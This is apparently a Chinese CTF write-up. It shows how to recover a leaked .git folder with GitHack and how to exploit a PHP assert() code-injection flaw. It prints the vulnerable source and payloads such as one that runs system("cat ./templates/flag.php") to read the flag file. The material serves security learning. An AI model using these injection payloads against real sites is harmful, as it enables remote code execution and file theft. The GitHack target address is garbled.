git源码泄漏+代码审计
页面发现git ,可能存在git注入。用GitHack扫描,下载源文件。
知识点
GitHack:下载泄露的.git文件夹下的文件到本地。用于得到源码。
python GitHack.py http://61:52016/.147.171.105:52016/.git/
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//防止访问上一级目录(..)
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
知识点
assert函数在php中用来判断一个表达式是否成立,返回ture、false。
如果里面是一个字符串,则会当作php代码来执行。比如 assert( "file_exists('$file')" )。
想办法绕过 assert("strpos('$file', '..') === false")
?page=1') or phpinfo();#
file_exists('templates/') or phpinfo();#.php
(1)这里要注意不能直接写在url上,浏览器会对它进行编码,把它写在HackBar ;
(2)写 #、// 都可以。
?page=').system("cat ./templates/flag.php");//
(1)这里要用 . 连接。
找到flag。
小知识点
<?php
$page=13;
$file = "templates/" . $page . ".php";
echo $file; // templates/13.php 没有双引号
?>